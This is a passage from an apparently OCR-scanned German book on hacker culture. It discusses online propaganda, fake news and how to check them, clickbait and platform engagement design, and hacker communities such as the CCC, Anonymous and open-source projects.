ternet ist schließlich eine Quelle voller leicht zugänglichen Wis- 
sen. Doch es hat sich abgezeichnet, dass es in eine ganz andere 
Richtung gehen wird. Fehlinformationen konnten jetzt genauso 
günstig verbreitet werden und plötzlich ist das Internet nicht 
mehr der Ort, in dem die richtig schlauen Dinge drin stehen, 
sondern an dem du vorher schon Intelligent sein musst, um den 
Inhalt selbst einschätzen zu können. Internetzugänge wurden 
immer günstiger und schneller. Sobald es anständige Flatrates 
gab, konnte unbegrenzt gesurft werden. Die Möglichkeit kos- 
tengünstig Propaganda zu verbreiten immer beliebter. 
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Falschinformationen werden systematisch verbreitet. Socken- 
puppen Accounts (fingierte Identitäten, die nur zur Manipulati- 
on angelegt wurden) verbreiten ihre Ansichten und Themen in 
jede Ecke des Internets, Hauptsache sie werden gesehen. Wel- 
che Tricks benutzt werden, um Wahlen zu manipulieren, fasst 
die Dokumentation "The Great Hack" sehr gut zusammen oder 
lies dir dazu den Wikipedia Artikel zu "Cambridge Analytica" 
durch. Leichtgläubigkeit und Fake News können Wahlen ent- 
scheiden. Das Internet spielt dabei eine große Rolle. 


Was früher noch einzelne Aktivisten waren, hat sich deutlich 
professionalisiert durch sogenannte "Trollfabriken" oder "Troll- 
Armee" (bezahlte Kommentarschreiber, die versuchen die öf- 
fentliche Meinung zu lenken). Diese Professionalisierung von 
Propaganda im Internet führte zu einer Ressourcenschlacht, 
denn die oft gewünschte Gegenrede (Propaganda Beiträge 
nicht umkommentiert sehen lassen) ist schwierig, wenn auf der 
einen Seite koordinierte Meinungen von einer Vielzahl ge- 
fälschter Accounts bestätigt werden, die auch noch den ganzen 
Tag Zeit haben ihr Weltbild ins Internet zu kippen. 


Außerdem besteht das grundsätzliche Problem, dass sich ein 
normaler Mensch aus einer bescheuerten Diskussion zurück 
zieht, während die Trollfabrik auch am nächsten Morgen 
nochmal geöffnet hat. Einen schönen Moment hatte ich, bei 
dem es so offensichtlich war, dass hier eine Unterhaltung fin- 
giert wurde. Ein Profil stellte eine naive Frage und das andere 
Profil mit einer rechten Weltanschauung beantwortet sie. Da- 
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nach wird sich bedankt für die Antwort, die aber von der glei- 
chen Person geschrieben wurde. Ich persönlich kann über die- 
ses Amateurschauspiel lachen, wer aber neu im Internet unter- 
wegs ist findet das womöglich realistisch. 


Frei übersetzt von Eric Cantona: 

Mit Rassisten diskutieren, das ist, wie mit einer Taube Schach 
spielen: Egal wie gut du bist, egal wie sehr du dich anstrengst, am 
Ende wird die Taube aufs Spielfeld kacken, alles umschmeißen 


und umherstolzieren, als hätte sie gewonnen. 


Das hinterlässt bei mir das traurige Fazit, dass die früher als öf- 
fentliche Meinung wahrgenommen "Internetgesellschaft" ei- 
gentlich nur eine Frage von Zeit (Anzahl der Kommentare) und 
Koordination (Fake-Accounts, liken eigener Beiträge durch ei- 
gene Accounts) war. Vor allem die Web 2.0 Features wie Kom- 
mentare von Besuchern haben damit eine hässliche Wendung 
genommen, was am Ende mehr schadet als nützt. 


Die Propaganda-Methoden dafür sind nicht neu oder geheim. 
Eine Internetsuche nach "Techniken der Propaganda und Mei- 
nungsmanipulation" bringt dir einen Wikipedia Artikel dazu, 
der über 80 rhetorische Beispiele aufzählt: Angsterzeugung, 
Brunnenvergiften, Tatsachenbehauptung, Desinformation, 
Framing und Neusprech. Außerdem gibt es auch eine "Liste von 
kognitiven Verzerrungen", mit sich die einige Fehlschlüsse er- 
klären lassen. Die einfache Tatsachenbehauptung gehört dabei 
zu den wirksamsten Mitteln, was gerade bei Internetpropagan- 
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da sehr beliebt und effektiv ist. Ein typisches Beispiel ist mir bei 
einem "Loveparade 1997" Video auf YouTube aufgefallen. 


Nutzer-Kommentar: 
Die Welt war eindeutig eine bessere ohne Smartphones! 


Antwort zum Kommentar: 
und ohne Islam in Deutschland.... heute wäre sowas nicht mehr 


veranstaltbar. 


So wird die Diskussion mit dieser haltlosen Behauptung geka- 
pert. Wie andere Kommentare hinweisen, gibt es immer noch 
Großveranstaltungen dieser Art im Technogenre z.B. den CSD 
oder die Streetparade. Aber es geht nicht um die Faktenlage. Es 
geht darum das Thema ins Bewusstsein zu rufen und immer 
wieder damit in Verbindung zu bringen. 


Diese Diskussion unter dem Loveparade Video ist inhaltlich ver- 
loren, doch wer möchte die anderen zehn absurden Kommenta- 
re beantworten, die innerhalb von wenigen Minuten durch die 
gleiche Person geschrieben werden? 


Werbung im Internet kann gezielt für solche Ziele eingesetzt 
werden. Wer sich für eine Technoveranstaltung auf Facebook 
interessiert, könnte eine solche Fake Story in die Timeline ge- 
spült werden. Vertrauenswürdige Quellen sollten Hacker/-in- 
nen erkennen können. 
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Verschwörungstheorien 

Das Internet hat die Verbreitung von Verschwörungstheorien 
deutlich beschleunigt, bzw. sogar erst in der Masse möglich 
gemacht. Heutzutage ist es deutlich leichter geworden verwirr- 
te Menschen zu erreichen. Menschen, die glauben, dass die 
Welt von einer kleinen Gruppe komplett kontrolliert werden 
könnte. 


Jede Informationslücke, die nicht bis ins kleinste Detail für Lai- 
en verständlich erklärt wird, lässt Raum für Verschwörungs- 
theorien oder Verknüpfungen mit ihnen. Aber selbst wenn sehr 
viele Informationen bekannt sind, sind eben nicht alle gleich 
gut informiert. Die gleichen Behauptungen, die bereits wider- 
legt wurden, müssen nur an den richtigen Stellen nochmal 
wiederholt werden. Wenn es dort Personen gibt, die es ernst 
nehmen, wird sich die Falschmeldung erneut weiter verbreiten. 


Ähnlich wie Propaganda werden auch Verschwörungstheorien 
mit den Möglichkeiten des WWWs weitergetragen. Das Ziel ist 
erstmal das Vertrauen in bestimmte Quellen zu schwächen, was 
durchaus mit ständigen Erwähnungen und Assoziationen auch 
funktioniert (Propaganda-Spam). 


Es erinnert mich an E-Mail-Spam. Da werden die Mails mit Ab- 
sicht grammatisch schlecht, falsch und unrealistisch geschrie- 
ben, dass eben nur sehr naive Personen darauf herein fallen 
würden. Denn wer auf eine solche Nachricht reagiert, lässt sich 
am Ende auch viel einfacher weiter täuschen und überweist 
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auch Geld an fremde Menschen ins Ausland, weil ihm/ihr et- 
was versprochen wurde. 


Die Gefahr bei Propaganda sowie Verschwörungstheorien sind 
verwirrte Menschen oder Gruppen, die diese Ansichten über- 
nehmen. Das ist für ideologische Strippenzieher ein gefundenes 
Fressen. Sie lassen sich für deren Ziele einspannen und machen 
am Ende noch die Drecksarbeit. 


Hass-Gruppen bieten ohne zu zögern Aufmerksamkeit und Un- 
terstützung an, sobald die gleiche Gesinnung zu erkennen ist. 
Diese Gruppen rekrutieren über Aufmerksamkeit, Bestätigung, 
Lob und Gruppendynamik. 


Info-War und Fake-News 

Der Informationskrieg im WWW ist vor allem ein "Desinforma- 
tionskrieg". Ein Krieg bei dem versucht wird seinen "Gegner" 
über das Internet zu destabilisieren. Bekannte Info-War Portale 
sind voller Fake News und Trump Unterstützer. Dazu müssen 
wir nicht nach Amerika schauen. Hierzulande wurden Websei- 
ten und Fanpages, die sich selbst dem "Anonymous" Kollektiv 
zugehörig fühlten von einem bekannte Rechtsextremen erstellt 
und mit Inhalten gefüllt. Die Wikipedia-Seite zu "Mario Rönsch" 
ist da sehr aufschlussreich. Da passt alles zusammen. 


Ein Beispiel von einer dieser Webseiten: 
Bankrottes Berlin: Neue Asylunterkunft bietet Migranten luxuriö- 


ses Wohnerlebnis 
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Der kleine Faktencheck: 
Was ist davon richtig? Es wird ein Flüchtlingsunterkunft ge- 
baut. 


Was ist die Propaganda? Na: 
"Bankrottes Berlin" 


Städte können nicht pleite gehen, im Zweifel haftet das Bun- 
desland und danach der Bund. Solange Deutschland nicht plei- 
te ist, kann Berlin nicht pleite gehen. 


Weitere eindeutige Propaganda Sätze: "Geld spielt keine Rolle", 
"fürstlichen Lebensbedingungen" und "luxuriösen Flüchtlings- 
unterkünften". Nach drei Klicks in meinem Webbrowser habe 
ich den Grundriss der Flüchtlingsunterkunft, aber statt großen 
Apartments mit Whirlpool, sehe ich kleine Zimmer, Mini-Kü- 
chenzeile und Gemeinschaftsräume für das ganze Stockwerk. In 
welcher Welt werden Sozialarbeiterräume als Luxus zu be- 
zeichnen? 


Weiter im Text: 
Um ein feudales Wohnerlebnis zu gewährleisten, wurde bei der 
Planung unter anderem berücksichtigt, dass diverse Grünflächen 


und eine Reihe an wunderschönen Kastanienbäumen erhalten 
bleiben. 
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Die Aussage ist klar: Flüchtlingen wird nicht mal die Existenz 
einer Wiese und ein paar Bäumen zugesprochen. Im Text wird 
alles ausgeschmückt, als wäre ständen hier die schönsten Bäu- 
me der Welt im Hinterhof und normale Bürger hätten keine 
schönen Bäume oder Wiesen in ihrem Leben. 


Eine Suche nach dieser Geschichte bringt mir einige andere 
rechte Blogs als Ergebnis. Sie berichten ähnlich über den Bau. 
Die Autoren machen sich so wenig Aufwand wie möglich. Sie 
suchen sich Nachrichten, die etwas mit Ausländern oder Flücht- 
lingen zu tun haben und bringen es in ihren rechtspopulisti- 
schen Rahmen. 


Durch das Internet und die ständig wachsende Mengen an In- 
formationen, die auch jeder/-e Nutzer/-in selbst erstellen kann, 
ist die Informationsquelle ein wichtiger Vertrauensfaktor. Aber 
auch Zeit spielt eine Rolle. Eine Geschichte, die heute berichtet 
wird, kann sich eine Woche später doch nochmal anders dar- 
stellen. 


Solche Nachrichten lassen sich gut hinterfragen: 
* Wer ist die Quelle? 
* Ist die Quelle vertrauenswürdig? 
* Welchen Teil bestätigt die Quelle und was lässt sie weg? 
* Was ist ausgeschmückt und was ist Beschreibung der Situa- 
tion? 
* Kann ich es fachlich überhaupt einschätzen? 


63 


* Welche Informationen spinnt mein Gehirn automatisch 
dazu, weil es unbekannt ist? 

* Welche Möglichkeiten oder Erklärungen gäbe es? 

* Welche Gründe oder Motivationen gäbe es? 

* Was kann ich es selbst überprüfen? 

* Ist das die erste Nachricht darüber oder bereits ein Nach- 
trag, der mehr Informationen liefert? 

* Ist es vielleicht dumm, sich als Leser eine Meinung zu bil- 
den über Informationen aus dritter Hand? 


Erst wenn diese Fragen geklärt sind, würde ich eine Nachricht 
im Internet erst als Nachricht wahrnehmen. Alles andere ist für 
mich Grundrauschen für Werbeklicks, was nichts mit Journa- 
lismus zu tun hat. Da sind wir schon beim Grundproblem. 


Werbegelder 

Die Plattformen verdienen Geld mit Werbung und je länger du 
auf ihrer Seite bist, umso mehr Werbung können sie dir zeigen. 
Deshalb versuchen sie dich bei Laune zu halten mit Benachrich- 
tigungen und Likes, denn das gibt dir immer ein kleines, gutes 
Gefühl der Aufmerksamkeit. Jemand fand dein Foto schön oder 
mag deinen Statustext. Kleine virtuelle Herzchen und Däum- 
chen fliegen dir um die Ohren. Eine kurze Freude aus dem 
Smartphone heraus. 


Facebook ist so "bedürftig" geworden, dass sie dir auch völligen 
Quatsch als Benachrichtigung zeigen, obwohl niemand auf dei- 
ne Inhalte reagiert hat. Zum Beispiel irgendwelche Events, die 
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gerade bei meinen Freunden beliebt sind. Der Hinweis, dass 4 
Leute meine "Facebook Fanpage" angeklickt haben, die ich seit 
Jahren nicht mehr pflege und ähnliche Dinge. Freundschafts- 
vorschläge oder ein Hinweis, dass eine Bekannte, die ich seit 15 
Jahren nicht mehr gesehen habe, ein neues Fotos gepostet hat- 
te. Auf Facebook konnte ich prima üben und unwichtige Be- 
nachrichtigungen gekonnt zu ignorieren. 


Das WWW hat nicht nur zu einer Journalismus Krise geführt, 
sondern die Vergütung von Webseiten basiert hauptsächlich auf 
der Anzahl der Klicks auf einen Artikel. Was zu immer emotio- 
nalisierten Überschriften und Clickbaiting (Klickfutter) geführt 
hat. 


10 Gründe, weshalb dein Freund mit dir Schluss machen wird. 


Nummer 4 wird dich schockieren. 
Grund Nummer 4: Du klickst jede übertriebene Überschrift an. 


Clickbaiting Titel sind Headlines, die dich zum Klicken bewe- 
gen sollen. Das führt dazu, dass die Webseite Geld für die Wer- 
beanzeigen bekommt, völlig egal wie der Inhalt ist. Ab diesem 
Zeitpunkt ist es egal, ob die Meldung überhaupt einen Nach- 
richtenwert hat oder Inhalt annähernd so ist wie versprochen. 
Es werden auch gerne "geheime" Haushaltstricks als "Life- 
Hacks" vermarktet. Die erstbeste Suche nach Life-Hacks bringt 
mir eine Anleitung der Brigitte, wie ich mein Bad richtig putzen 
soll. Was daran eine kreative "Hackerleistung" sein soll, habe 
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ich noch nicht herausgefunden. Falls es einen geheimen Knopf 
gibt, den ich dafür drücken muss, sagt mir bitte Bescheid. 


Die populärsten Plattformen (Facebook, YouTube, Twitter) sind 
auf maximale Werbeeinnahmen optimiert, deshalb werden so- 
wieso schon viel angeklickte Inhalte gerne noch prominenter 
dargestellt. Alles um die Nutzungszeit so lang wie möglich zu 
strecken. 


Technische Mechanismen dafür: 

* Instagram: 
Unendliches Scrollen ist möglich, es werden nur Likes dar- 
gestellt, Hashtags erhöhen die Sichtbarkeit (Spam), kopiert 
Features anderer Plattformen (Snapchat Videofilter, Sto- 
ries). 

* Facebook: 
Unendliches Scrollen ist möglich, es werden Likes darge- 
stellt, sinnlose Benachrichtigungen werden angezeigt, Ko- 
piert Features anderer Plattformen (Kleinanzeigen, Veran- 
staltungen, Gruppen oder Snapchat Videofilter, Stories). 

* YouTube: 
Bewertungen werden bei der Suche nicht angezeigt, nur 
die Anzahl der Aufrufe sind relevant, einmal angeklickte 
Videos, bringen immer wieder die gleichen Themen in die 
Empfehlungen, völlig egal, ob der Nutzer das Video davor 
gut fand. Thumbnails können selbst hochgeladen werden 
und müssen nicht dem Inhalt entsprechen. 
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* Twitter: 
Unendliches Scrollen ist möglich, mehrere Accounts sind 
leicht erstellt, unnötige Benachrichtigungen, Hashtagspam 
für höhere Sichtbarkeit, Spam-Bots folgen Personen, die 
Hashtags posten. 


Wenn ein Inhalt nicht mehr erreichbar ist, wird schnell von 
Zensur gesprochen. Doch ist es wirklich Zensur, wenn der neus- 
te Film von Brad Pitt aus dem Internet gelöscht wurde? 


Zensur 

Mit Internetzensur sind Inhalte gemeint, die entweder gelöscht 
oder gesperrt werden, sodass diese Webseiten oder Inhalte 
nicht mehr erreichbar sind. Internetsperren per DNS (der "Do- 
main Name Service" wird später genauer erklärt) sind leicht zu 
umgehen, indem ein ungefilterter DNS-Server ausgewählt wird. 
Digitalcourage hat einen zensurfreien DNS-Server. Es gibt auch 
noch Googles DNS, Cloudflare oder OpenDNS. 


Neben technischer Zensur wird auch immer wieder durch 
rechtliche Schritte versucht bestimmte Aussagen zu unterbin- 
den. Wenn dieses bestreben erst die Aufmerksamkeit auf eine 
Sache lenkt, die dadurch vielfach häufiger verteilt wird, sodass 
sie nicht so einfach aus dem Internet zu entfernen ist, sprechen 
wir vom Streisand-Effekt. Damals ging es um ein Foto für das 
"California Coastal Records Project" auf dem das Haus von Bar- 
bra zu sehen ist. 
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Bisher sieht es bei dem Thema Zensur relativ gut aus. In 
Deutschland wurde als Reaktion auf ein gewünschtes Zugangs- 
erschwerungsgesetz die Kampagne "Löschen statt Sperren" ge- 
startet. Denn die meisten Inhalte auf der Sperrliste, sowieso auf 
einem so hohen Niveau illegal sind (Terror-Propaganda, Kin- 
derpornografie, Gewalt-Webseiten), dass sie auch gleich welt- 
weit gelöscht werden können. Das ist auch über die üblichen 
Abuse- Meldungen auf Webseiten möglich. 


Aufklärung 

Manipulation ist eine autoritäre Methode, bei der ein Mensch 
zum gewünschten Handeln gebracht werden soll. Was kann 
solchen Kampagnen entgegengesetzt werden? Wie kann auf 
manipulative Kampagnen reagiert werden? Wie können wir re- 
agieren auf politischen Spam im WWW? 


Bausteine für klassische Aufklärung im Zeitalter des Internets: 

* Welche Reaktion will der/die Autor/-in? 

* Warum will er/sie diese Reaktion? 

* Verbreite Nachrichten niemals weiter, nicht mal um dich 
darüber lustig zu machen. 

* Erkenne Manipulation: 
Unrealistische Vergleiche, negative Assoziationen, ständi- 
ges Ablenken bei Gegenargumenten. Behauptungen ohne 
Belege. Lösungsvorschläge bieten, die alle schlecht und 
übertrieben sind, aber andere Lösungen ausblenden. 

* Wie soll ich über diese Sache denken, welcher Grund 
steckt dahinter? 
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ee 


* Was sind Behauptungen von Fremden ohne Belege wert? 


ee 


x Welchen Einfluss haben "Meinungen" im Internet über- 
haupt auf mich? 


ee 


* Werden "Nachweise" durch anderen Webseiten geliefert, 
auf denen genauso pseudowissenschaftliche Ansichten ste- 
hen? 


* Harte Sachlichkeit. Was überprüft werden kann, sollte 


ee 


überprüft werden. 
* Menschlichkeit hochhalten. 


ee 


Wir müssen uns deutlicher bewusst machen, dass eben jeder 
alles ins Internet schreiben darf. Jeder darf sich eine Internet- 
seite anlegen, aber noch viel wichtiger: Jeder darf sich hunder- 
te Webseiten anlegen, die sich gegenseitig verlinken und bestä- 
tigten. Genauso wie es hundert Accounts geben kann, die sich 
gegenseitig pushen und so tun, als wäre die Inhalt besonders 
"beliebt". Was wirklich zählt, ist deine Reaktion auf dieses Phä- 


nomen. 


Einfluss 

Die Nutzer/-innen entscheiden selbst was sie sich anschauen, 
womit sie sich beschäftigen, welche Webseiten aufgerufen wer- 
den und welche Apps sie installieren. Wer Medienkompetenz 
entwickelt hat, entscheidet sich bewusst nicht jedem vermeint- 
lich skandalösen Link zu folgen. Außerdem besteht neben dem 
populären Web auch immer noch alles andere, was mich schon 
immer am Internet fasziniert hat. 
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Die Popularität von Messengern ist in gewisser Weise das Zu- 
rück zu den Anfängen. Zurück zu den Tagen an denen das Zen- 
trum des Internets ICQ (Chat) und die eigene Freundesliste war 
und eben nicht die dusseligen YouTube Trends. 


Gruppen, Vereine und Veranstaltungen 

Es gibt einige Vereine oder Gruppen, die sich mit IT, dem Inter- 
net und Hacking aller Art beschäftigen. Der bekannteste Verein 
dürfte der CCC (Chaos Computer Club) sein. Hier eine kleine 
Auswahl mit welchen ich schon zu tun habe oder hatte. Ich be- 
suche solche Veranstaltungen, auch wenn sie thematisch pas- 
sen, trotzdem sehr selten. Der meisten Austausch findet bei mir 
online statt. 


Chaos Computer Club 

Der CCC ist ein großer Hackerverein mit langer Geschichte. Er 
besteht seit 1981 und hat häufig beratende Wirkung in Sachen 
Computersicherheit. Beim KGB-Hack wurden erspähte Daten 
aus westlichen Computern in den Osten verkauft. Auf dieser 
Geschichte basiert der Film "23 - nichts ist so wie es scheint". 
Wer weitere Einblicke sucht, sollte sich die Dokumentation "All 
Creatures Welcome" anschauen. Der CCC organisiert außerdem 
verschiedene Veranstaltungen und hat offene Chaostreffs, bei 
denen sich Mitglieder und Unterstützer regelmäßig treffen. 
Chaostreffs und Hackerspaces vermischen sich auch gerne. 
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Hackerspaces 

Ein Hackerspace ist erstmal ein Raum, indem sich Hacker/-in- 
nen treffen, um Platz für ihre Ideen und deren Umsetzung zu 
haben und sie den Austausch mit anderen Hackern suchen. Die 
Themen sind nicht festgelegt und reichen von "Do It Yourself" 
Workshops bis Laser-Cutter. Oft ist es ein Ort mit einer Mi- 
schung aus Werkstatt, Fabrik und Labor. Im Grunde ist die Ge- 
staltung der Projekte den Mitgliedern überlassen. 


In den Hackerspace an meinem Wohnort bin ich zum ersten 
Mal zu einem Retrospiele-Abend gegangen. Neben Mario Kart 
auf dem Nintendo 64 gab es auch einen spannenden "Artemis 
Spaceship Bridge Simulator". Dort steuern mehrere Spieler ein 
Raumschiff. Jeder Spieler steuert eine Station und steuert das 
Raumschiff. Schilde, Waffen, Navigation, Energielevel, Kom- 
munikation und der Captain. Relativ schnell hat sich für mich 
herausgestellt, dass es wesentlich effektiver ist, wenn eine Per- 
son das Raumschiff steuert und schnell genug die Rollen um- 
schaltet. Hackerspaces sind gut, um Projekte mit Gleichgesinn- 
ten zu starten. 


Andere ehrenamtliche Gruppen, haben sich zusammenge- 
schlossen, um Kinder und Jugendliche im Computerbereich zu 
fördern. 


Coder Dojos 
Das sind Veranstaltungen für Kinder und Jugendliche, die dort 
oft ihre ersten Programmiererfahrungen sammeln. Im Bildungs- 
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sektor gibt es einige Tools, die genau dafür ausgerichtet sind. 
Code.org oder Minecraft Programmierung war dort stark ge- 
fragt. 


In diesen Dojos wird mit einfachen Logikaufgaben begonnen, 
die spielerisch gelöst werden sollen. Dazu gehört z.B. einen li- 
nearen Programmablauf zu verstehen und auch einfache Wie- 
derholungen. Die erweiterte Variante davon ist Scratch. Das ist 
ein Editor für kleine Animationen oder Spiele. Es gibt vorgefer- 
tigte Figuren und Formen, die in einer Blocksprache program- 
miert werden können. Es gibt logische Blöcke, die verschachtelt 
werden. Dafür ist keine Zeile spezieller Syntax zu schreiben. 


Jedes Projekt ist offen und kann "geremixed" (als Kopie bear- 
beitet) werden. Mein erstes Spiel ist ein Taucher, der Diaman- 
ten sammeln musste. Ein Scoreboard zählt mit. Gesteuert wird 
mit der Maus, der Taucher schwimmt automatisch zum Maus- 
zeiger. 


Quelle: https://scratch.mit.edu/projects/302562690/ 
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Das lässt sich innerhalb weniger Minuten dort zusammen kli- 
cken. Die Bestandteile können aus einer Bibliothek geladen 
werden. Den Taucher habe ich nur leicht bearbeitet, den Hin- 
tergrund und die Diamanten gab es auch schon. 


Ich war selbst schon Mentor bei einem Coder Dojo. Dabei hilfst 
du technische Probleme zu lösen oder du kannst offene Fragen 
beantworten. Dort kannst du dich für den Hacker/-innen 
Nachwuchs engagieren. Für Jugendliche wäre "Jugend hackt" 
besser. Der Hackathon wurde bisher noch nicht in meiner Nähe 
veranstaltet. 


Bei Hackathons werden verschiedene Projekte innerhalb des 
Veranstaltungszeitraums durchgeführt werden. Dabei wird kol- 
laborativ in Teams zusammengearbeitet. Meistens werden dort 
Software-Prototypen gebaut oder andere Kurz-Projekte. Die Er- 
gebnisse werden am Ende der Veranstaltung vorgestellt. 
Manchmal werden auch Preise vergeben. Wer sich eher zur 
Spielentwicklung hingezogen fühlt, sollte sich Game Jams an- 
schauen. Diese Veranstaltungen sind ähnlich wie Hackathons, 
allerdings auf kleinere Computerspiele bezogen. Das Ziel soll es 
sein, einen Spiel innerhalb des Veranstaltungszeitraums zu kre- 
ieren. Es ist allerdings schwierig zu ermitteln, ob das Spiel auch 
wirklich komplett innerhalb des Zeitraums entstanden ist oder 
bestehender Code benutzt wurden. 
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Bei solchen Veranstaltungen lässt sich ein Bekanntenkreis auf- 
bauen, der sich tatsächlich für die gleichen Themen und Hob- 
bys interessiert. Wer nicht gerne auf Veranstaltungen geht, 
kann sich auch von zu Hause aus einbringen. 


Wikipedia 

Ich bin sehr oft "Lost in Wikipedia". Wenn ich einmal angefan- 
gen habe etwas zu lesen, lande ich schnell bei weiteren interes- 
santen Artikeln. Nachdem ich dort sehr lange nur Leser war, 
habe ich mich irgendwann auch getraut einzelne Abschnitte zu 
verbessern. Meistens suche ich offizielle Quellen (was bei fast 
allen Themen geht), ordne bestehende Artikel nach logischer 
Reihenfolge oder schreibe etwas zu Security-Themen. Dort 
kenne ich mich aus. In den "SQL Injection" Artikel habe ich 
mehrfach Details hinzugefügt. Seit ein paar Jahren bin ich bei 
Wikipedia auch zahlendes Mitglied. 


Ein absolutes Highlight meiner Urlaubsreise 2019 war der 
Bryant Park in New York City. Mit Abstand mein Lieblingspark 
in der Stadt. Dort hatten wir im Sommer das Glück, dass an ei- 
nem Abend eine "Movie Night" veranstaltet wurde. Ausgewähl- 
te Filme wurden im Park auf einer großen Leinwand gezeigt. 
Präsentiert wurde das Event in diesem Jahr von Netflix. Es war 
krass zu sehen, wie der ganze Park voll mit Menschen gespannt 
"Carrie" (1976) geschaut haben. Warum ich das hier erzähle? 
Ein Foto davon habe ich unter offener Lizenz in die Foto-Galle- 
ry der "Bryant Park" Wikipedia-Seite veröffentlicht. 
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Das Großprojekt Wikipedia funktioniert nur mit freiwilligen Au- 
toren/-innen und Spenden. Da Wikipedia ein gemeinnütziges 
Projekt ist, können die Spenden von der Steuer abgesetzt wer- 
den. Die deutsche Wikipedia hat allerdings auch einige Proble- 
me in ihrer Community. Alle Kritikpunkte sind in einem eigenen 
Artikel "Kritik an Wikipedia" aufgelistet. Dort wird kritisiert, 
dass es immer weniger Autoren/-innen gibt. Was daran liegt, 
dass nicht jeder/jede Nutzer/-in die Grundsätze von Wikipedia 
kennt oder sich daran hält. Außerdem wird oft unnötig aggres- 
siv über die Relevanz von Artikeln diskutiert. Da Wikipedia für 
alle offen ist, lässt sich das nicht komplett vermeiden, aller- 
dings werden destruktive Nutzer auch sanktioniert. 


Digitale Gesellschaft 

Das ist der Name eines Vereins, der sich für Bürgerrechte im 
Bereich Computer und Internet einsetzt. Der Verein versucht 
mit politischen Publikationen Einfluss auf die aktuelle Gesetz- 
gebung zu nehmen. Es wird auch zu Demonstrationen infor- 
miert, die schlechte Internetgesetze betreffen. 


Im Jahre 2012 war ich bei den Protesten gegen ACTA mit da- 
bei. Dort haben wir gegen eine geplante Urheberrechtsreform 
protestiert. Die Proteste waren erfolgreich und das Gesetz auf 
Eis gelegt. 2019 sind wir gegen Artikel 13 und die kommenden 
"Upload-Filter" gescheitert. Ich bin sehr gespannt, wie die tech- 
nischen Lösungen für dieses Gesetz aussehen werden. Dort soll 
verhindert werden, dass urheberrechtlich-geschützte Inhalte 
hochgeladen werden. Der einfachste Fall wäre es, wenn Prüf- 
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summen für geschützte Werke generiert werden, sodass nie- 
mand ein zweites Mal genau die gleiche Datei hochladen kann. 
Das ist auch möglich zu umgehen, aber das sind andere Erken- 
nungsmethoden auch. 


Die digitale Gesellschaft verleiht auch die "Big Brother Awards", 
die besonders schädliche Unternehmen oder Einzelpersonen 
mit diesem Negativpreis auszeichnen. Politische Teilhabe finde 
ich auch wichtig. Das kannst du natürlich auch in Eigenregie 
versuchen (funktioniert auch manchmal) oder über eine Spen- 
de nachdenken. 


Früher war es durchaus okay sich mit anderen Individuen aus 
dem Anonymous Umfeld auszutauschen. Noch bevor der Be- 
griff komplett in die Verschwörungsecke gedrängt und dort ge- 
storben ist. 


Anonymous 

Anonymous wurde als Spaßbewegung auf dem Imageboard 
AChan geboren. Es ist der Name eines losen Kollektiv, unter 
dem Hacktivismus oder digitale Proteste durchführt wurden 
und werden. Dies ist keine Gruppe, die sich untereinander ken- 
nen oder kennen sollten. Es ist viel mehr ein soziales Konstrukt. 
Es wird ein Ziel oder eine Operation vorgeschlagen bzw. ange- 
fangen und andere können diesem Aufruf folgen oder eben 
nicht. 


Ihr Motto: 
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We are Anonymous. 
We are Legion. 

We do not forgive. 
We do not forget. 
Expect us. 


Das Anonymous Zeichen ist eine Guy Fawkes Maske, die im 
Film "V wie Vendetta" zu sehen ist, in dem ein katholischer At- 
tentäter gegen ein Regime kämpft. 


Das ist die Grundidee von Anonymous. 


In diesem Umfeld bildete sich eine Gruppe namens 
"LulzSec" (= Lacht über eure Sicherheit) die einige DDoS (Dis- 
tributed Denial of Service, Überlasten von Webseiten) Angriffe 
und auch Hacks durchgeführt hat. Durch einen 

Maulwurf konnten später die Haupttäter enttarnt und verhaftet 


werden. 
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Im Anonymous Umfeld habe ich die meisten Hacker-Strategien 
gelernt. Damals, als sich Hacker/-innen noch nicht schämen 
mussten in diesem Kollektiv zusammengeschlossen zu sein, gab 
es einige offene Chats und einzelne Hacker/-innen mit denen 
ich mich austauschen konnte. Von Anonymisierung, Social En- 
gineering, über Sicherheitslücken bis zur Informationsbeschaf- 
fung. Nach LulzSec und anderen Fake-Anonymous-Seiten war 
der Ruf des Labels komplett zerstört. Mit LulzSec gingen wich- 
tiger Hacker verloren und generell wurde durch die V-Mann 
Geschichte eine starke Unsicherheit verbreitet. Am Ende stirbt 
aber nur das Label und nicht die Idee. 


An dieser Stelle: RIP Anonymous. 


Neben diesen Gruppierungen ist die Open Source Szene noch 
besonders interessant, weil hier die Ideologie des offenen 
Codes, des Vertrauens und der Communities am Größten sind. 
Kollaboratives Zusammenarbeiten an Softwareprojekten über 
Ländergrenzen hinweg, ist hier der Standard. 


Open Source 

Ein wichtiger Grundsatz für Hacker/-innen ist Open Source. 
Der Quellcode der Programme und Scripte sollte offen im Netz 
verfügbar sein, um anderen die Möglichkeit zu geben den Code 
zu überprüfen, zu verstehen und daraus zu lernen, sowie die- 
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sen zu nutzen und weiter zu entwickeln. Außerdem schafft 
transparenter Code vertrauen. 


Dieser Code kann unter bestimmte offene Lizenzen veröffent- 
licht werden, wodurch die Weiterentwicklung ermöglicht. Es 
gibt einige Lizenzen, die dafür genutzt werden können. Be- 
kannt sind "GNU General Public License" und "MIT 
Lizenz" (Massachusetts Institute of Technology). GPL erlaubt es 
die Software auszuführen, zu studieren, zu ändern und zu ko- 
pieren. Damit wird euer Projekt zu freier Software. 


Eine Lieblingsbeschäftigung der Hacker/-innen könnte z.B. 
sein, die Dokumentation einiger Tools zu verbessern oder dort 
Bugs zu fixen. In der Regel sind die Bugtracker oder "Issues" 
öffentlich und jeder kann sich damit beschäftigen und versu- 
chen Probleme zu beheben oder gewünschte Features einzu- 
bauen. Plattformen wie Bountysource versuchen allerdings 
auch einen monetären Anreiz in Form einer Belohnung für Fea- 
tures oder Bugfixes in Open Source Projekten zu bieten. 


Wie komme ich dahin mithilfe des Internets? Fangen wir mit 
den Grundlagen des Lernens im Internet an. 


Informationen sammeln 

Grundlagen sind sehr wichtig, um das gesamte Zusammenspiel 
der Komponenten zu verstehen. Du kennst bestimmt den Witz, 
dass Programmierer /-innen alles möglich im Internet suchen 
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müssen und Code von Stackoverflow kopieren? Das ist zur 
Hälfte ein Witz und auch zur Hälfte wahr. Generell ist die IT- 
Welt sehr komplex, deshalb spezialisieren sich viele auf einzel- 
ne Themen. Ich bin eher das Gegenteil davon. Ich bin Genera- 
list und lerne ein breites Spektrum, aber nur soweit wie ich es 
brauche. Das heißt, es sind plötzlich ganz andere Fähigkeiten 
notwendig. Dann ist es wichtig, dass ich Informationen schnell 
finde, abstrakte oder neue Konzepte schnell verstehe und um- 
setzen kann. Glücklicherweise bekam ich irgendwann als Ju- 
